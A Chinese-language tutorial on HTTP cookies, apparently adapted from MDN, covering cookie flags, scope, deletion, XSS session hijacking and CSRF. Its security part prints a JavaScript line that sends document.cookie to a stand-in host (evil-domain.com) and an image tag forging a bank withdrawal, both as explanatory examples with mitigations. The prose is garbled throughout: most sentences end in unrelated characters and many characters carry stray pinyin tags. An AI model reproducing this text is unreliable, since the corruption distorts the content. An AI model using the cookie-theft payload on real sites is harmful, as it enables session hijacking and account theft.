Cookie會(huì)在瀏覽器下次向同一服務(wù)器再發(fā)起請求時(shí)被攜帶并發(fā)送到服務(wù)器上源请。通常,它用于告知服務(wù)端兩個(gè)請求是否來自同一瀏覽器彻况,如保持用戶的登錄狀態(tài)谁尸。Cookie使基于無狀態(tài)的HTTP協(xié)議記錄穩(wěn)定的狀態(tài)信息成為了可能。
Cookie主要用于以下三個(gè)方面:
- 會(huì)話狀態(tài)管理(如用戶登錄狀態(tài)纽甘、購物車症汹、游戲分?jǐn)?shù)或其它需要記錄的信息)
- 個(gè)性化設(shè)置(如用戶自定義設(shè)置、主題等)
- 瀏覽器行為跟蹤(如跟蹤分析用戶行為等)
Cookie曾一度用于客戶端數(shù)據(jù)的存儲(chǔ)贷腕,因當(dāng)時(shí)并沒有其它合適的存儲(chǔ)辦法而作為唯一的存儲(chǔ)手段,但現(xiàn)在隨著現(xiàn)代瀏覽器開始支持各種各樣的存儲(chǔ)方式咬展,Cookie漸漸被淘汰泽裳。由于服務(wù)器指定Cookie后,瀏覽器的每次請求都會(huì)攜帶Cookie數(shù)據(jù)破婆,會(huì)帶來額外的性能開銷(尤其是在移動(dòng)環(huán)境下)涮总。新的瀏覽器API已經(jīng)允許開發(fā)者直接將數(shù)據(jù)存儲(chǔ)到本地,如使用 Web storage API (本地存儲(chǔ)和會(huì)話存儲(chǔ))或 IndexedDB 祷舀。
創(chuàng)建Cookie
當(dāng)服務(wù)器收到HTTP請求時(shí)瀑梗,服務(wù)器可以在響應(yīng)頭里面添加一個(gè)Set-Cookie
選項(xiàng)。瀏覽器收到響應(yīng)后通常會(huì)保存下Cookie裳扯,之后對該服務(wù)器每一次請求中都通過Cookie
請求頭部將Cookie信息發(fā)送給服務(wù)器抛丽。另外,Cookie的過期時(shí)間饰豺、域亿鲜、路徑、有效期冤吨、適用站點(diǎn)都可以根據(jù)需要來指定蒿柳。
會(huì)話期Cookie
會(huì)話期Cookie是最簡單的Cookie:瀏覽器關(guān)閉之后它會(huì)被自動(dòng)刪除饶套,也就是說它僅在會(huì)話期內(nèi)有效。會(huì)話期Cookie不需要指定過期時(shí)間(Expires)或者有效期(Max-Age)垒探。需要注意的是妓蛮,有些瀏覽器提供了會(huì)話恢復(fù)功能,這種情況下即使關(guān)閉了瀏覽器圾叼,會(huì)話期Cookie也會(huì)被保留下來蛤克,就好像瀏覽器從來沒有關(guān)閉一樣。
持久性Cookie
和關(guān)閉瀏覽器便失效的會(huì)話期Cookie不同褐奥,持久性Cookie可以指定一個(gè)特定的過期時(shí)間(Expires)或有效期(Max-Age)咖耘。
Set-Cookie: id=a3fWa; Expires=Wed, 21 Oct 2015 07:28:00 GMT;
Cookie的Secure
和HttpOnly
標(biāo)記
安全的Cookie只應(yīng)通過HTTPS協(xié)議加密過的請求發(fā)送給服務(wù)端。即便設(shè)置了 Secure
標(biāo)記撬码,敏感信息也不應(yīng)該通過Cookie傳輸儿倒,因?yàn)镃ookie有其固有的不安全性,Secure
標(biāo)記也無法提供確實(shí)的安全保障呜笑。從 Chrome 52 和 Firefox 52 開始夫否,不安全的站點(diǎn)(http:
)無法使用Cookie的 Secure
標(biāo)記。
為避免跨域腳本 (XSS) 攻擊叫胁,通過JavaScript的 Document.cookie
API無法訪問帶有 HttpOnly
標(biāo)記的Cookie凰慈,它們只應(yīng)該發(fā)送給服務(wù)端。如果包含服務(wù)端 Session 信息的 Cookie 不想被客戶端 JavaScript 腳本調(diào)用驼鹅,那么就應(yīng)該為其設(shè)置 HttpOnly
標(biāo)記微谓。
Set-Cookie: id=a3fWa; Expires=Wed, 21 Oct 2015 07:28:00 GMT; Secure; HttpOnly
Cookie的作用域
Domain
和 Path
標(biāo)識(shí)定義了Cookie的作用域:即Cookie應(yīng)該發(fā)送給哪些URL。
Domain
標(biāo)識(shí)指定了哪些主機(jī)可以接受Cookie输钩。如果不指定豺型,默認(rèn)為當(dāng)前文檔的主機(jī)(不包含子域名)。如果指定了Domain
买乃,則一般包含子域名姻氨。
例如,如果設(shè)置 Domain=mozilla.org
剪验,則Cookie也包含在子域名中(如developer.mozilla.org
)肴焊。
Path
標(biāo)識(shí)指定了主機(jī)下的哪些路徑可以接受Cookie(該URL路徑必須存在于請求URL中)。以字符 %x2F
("/") 作為路徑分隔符功戚,子路徑也會(huì)被匹配娶眷。
刪除Cookie
將cookie的過期時(shí)間設(shè)置為過去的時(shí)間可以刪除該cookie,但是他不會(huì)刪除帶有HttpOnly
的標(biāo)記的cookie啸臀,如果設(shè)置了path或者domain參數(shù)茂浮,同樣不能刪除
JavaScript通過Document.cookies訪問Cookie
通過Document.cookie
屬性可創(chuàng)建新的Cookie,也可通過該屬性訪問非HttpOnly
標(biāo)記的Cookie。
安全
當(dāng)機(jī)器處于不安全環(huán)境時(shí)席揽,切記不能通過HTTP Cookie存儲(chǔ)顽馋、傳輸敏感信息。
會(huì)話劫持和XSS
在Web應(yīng)用中幌羞,Cookie常用來標(biāo)記用戶或授權(quán)會(huì)話寸谜。因此,如果Web應(yīng)用的Cookie被竊取属桦,可能導(dǎo)致授權(quán)用戶的會(huì)話受到攻擊熊痴。常用的竊取Cookie的方法有利用社會(huì)工程學(xué)攻擊和利用應(yīng)用程序漏洞進(jìn)行XSS攻擊。
(new Image()).src = "http://www.evil-domain.com/steal-cookie.php?cookie=" + document.cookie;
HttpOnly
類型的Cookie由于阻止了JavaScript對其的訪問性而能在一定程度上緩解此類攻擊聂宾。
跨站請求偽造(CSRF)
維基百科已經(jīng)給了一個(gè)比較好的CSRF例子果善。比如在不安全聊天室或論壇上的一張圖片,它實(shí)際上是一個(gè)給你銀行服務(wù)器發(fā)送提現(xiàn)的請求:
<img src="http://bank.example.com/withdraw?account=bob&amount=1000000&for=mallory">
當(dāng)你打開含有了這張圖片的HTML頁面時(shí)系谐,如果你之前已經(jīng)登錄了你的銀行帳號(hào)并且Cookie仍然有效(還沒有其它驗(yàn)證步驟)巾陕,你銀行里的錢很可能會(huì)被自動(dòng)轉(zhuǎn)走。有一些方法可以阻止此類事件的發(fā)生:
- 對用戶輸入進(jìn)行過濾來阻止XSS纪他;
- 任何敏感操作都需要確認(rèn)鄙煤;
- 用于敏感信息的Cookie只能擁有較短的生命周期;
- 更多方法可以查看OWASP CSRF prevention cheat sheet茶袒。